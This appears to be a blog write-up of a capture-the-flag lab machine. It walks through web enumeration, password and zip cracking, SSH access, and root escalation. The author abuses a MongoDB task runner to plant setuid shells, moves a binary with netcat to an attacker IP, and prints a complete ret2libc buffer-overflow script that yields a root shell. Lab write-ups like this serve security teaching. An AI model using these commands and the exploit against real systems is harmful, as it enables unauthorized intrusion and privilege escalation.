Initial scan shows 2 open ports

Top UDP ports are not in use

Output was default webpage

Download button doesn’t work

I found 3 users with password hashes.

I logged in with credentials above, although this user doesn’t have admin privileges.

I went back to sitemap to check everything regarding api. Most of my requests were asking for update using header: “If-Modified-Since”. After recrawling all site with a “clean” refresh I could see:

I got admin user hash which is crackable:

With this credentials I got access to admin page:

Backup file:

Looks like base64

This zip is password protected. I used zip2john to convert file to format which is accepted by johntheripper.

Unzip:

A lot of files. It is a full dump of website directory

Search in all files for specific string:

grep -rnw ‘.’ -e ‘password’

A lot of code containing password variable. Nothing useful

Manually going through files:

Looks like credentials for mongodb

I will try this credentials for SSH client:

It worked.
exec(doc.cmd)

It looks like this javascript code execute command which is stored somewhere inside tasks table.

I tried to create shell which is run with privileges of tom.

Entry has been removed from db as it was stated in the code. Commands has executed. Unfortunately, shell drops instantly.

It works with dash:

I didn’t assign sticky bit to “dash_x”

Dash manual:

/tmp/dash_5 is used by my shell

/usr/local/bin/backup looks interesting, it is owned by root user and admin group.

db.tasks.insert( { “cmd” : “chown tom:admin /tmp/dash_5; chmod 6755 /bin/dash5; chmod u+s /tmp/dash_5; chmod g+s /tmp/dash_5;” } )

Using netcat to transfer backup file :

Destination:
nc -lvnp 4444 > backup
Sender:
nc 10.10.14.3 4444 < /usr/local/bin/backup

Content of backup result:

It is a binary most of the content is unreadable
I made sure of the correct integrity of the file
Probably it does backup of all files inside /var/www/myplace/
It can not open file at /etc/myplace/keys

I tried to open this file on remote host

Copied keys to my system

I used again strace to find something interesting

I went back to dump of backup and found correct way to use backup binary

Now I know how this binary works and which variables are necessary to run it. I will check output on my device

Password for unzipping is “magicword”

I will try to do the same on remote host. Maybe I won’t get troll face again…

Same when run on remote host

Hmm I will try to make symbolic link to root directory

So bad..

Maybe “root” inside name is prohibited?

So binary is “/root” sensitive. Probably it is a badchar

It doesn’t look like troll face base64
Same way to retrieve user flag

I got both flags, but I still want to make root shell. I need to find a way to abuse backup binary. Going back to binwalk:

This image has an empty alt attribute; its file name is image-206.png

I will try to abuse the unix path

This image has an empty alt attribute; its file name is image-215.png

I will need for sure -q and backup_key to run this command

/bin/bash must be in the 2nd argument, because 3rd argument is being redirected to /dev/null and we doesn’t get output of commands

Now I’ve got full root shell.

Buffer overflow part

You can notice in screeshot above that there is a new part in the beggining

and above extra part of code is related with this code.

Inside gdb-peda with ./backup binary:

r destro 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474

With payload of length 500 it doesn’t crash

515 length:

3 chars of EIP are overwritten with A
Now 4 chars of EIP are overwritten

516 payload overwritten EIP, so I can change last 4 bytes to something diffrent:

Now I will be collecting data for script

ldd <binary_name> | grep libc.so.6
Used as: libc_base_addr

readelf -s /lib32/libc.so.6 | grep system
Used as: system_off
ldd /usr/local/bin/backup |grep libc.so.6
Used in exit_off

strings -a -t x /listrings -a -t x /lib32/libc.so.6 | grep bin/sh

Used in arg_off

Complete code:

I moved the script to remote host and run.

Code:

#Based on IppSec Video
#https://www.youtube.com/watch?v=sW10TlZF62w&list=PLidcsTyj9JXK-fnabFLVEvHinQ14Jy5tf&index=5

from subprocess import call                                                                                                                                  
import struct                                                                                                                                                
                                                                                                                                                             
libc_base_addr = 0xf75f9000                                                                                                                                  
                                                                                                                                                             
system_off = 0x0003a940                                                                                                                                      
exit_off = 0x0002e7d0                                                                                                                                        
arg_off = 0x00015900b                                                                                                                                        
                                                                                                                                                             
system_addr = struct.pack("<I",libc_base_addr+system_off)                                                                                                    
exit_addr = struct.pack("<I",libc_base_addr+exit_off)                                                                                                        
arg_addr = struct.pack("<I",libc_base_addr+arg_off)                                                                                                          
                                                                                                                                                             
buf = "A" * 512                                                                                                                                              
buf += system_addr                                                                                                                                           
buf += exit_addr                                                                                                                                             
buf += arg_addr                                                                                                                                              
                                                                                                                                                             
#Extra                                                                                                                                                       
key = "45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474"                                                                                     
                                                                                                                                                             
i = 0                                                                                                                                                        
while (i<512):                                                                                                                                               
    print "Try %s" %i                                                                                                                                        
    i += 1                                                                                                                                                   
    ret = call(["/usr/local/bin/backup","destro",key,buf])                                                                                                   
                                                            


After 279 tries I received a root shell

Successful buffer overflow 🙂

By Marceli

Leave a Reply

Your email address will not be published. Required fields are marked *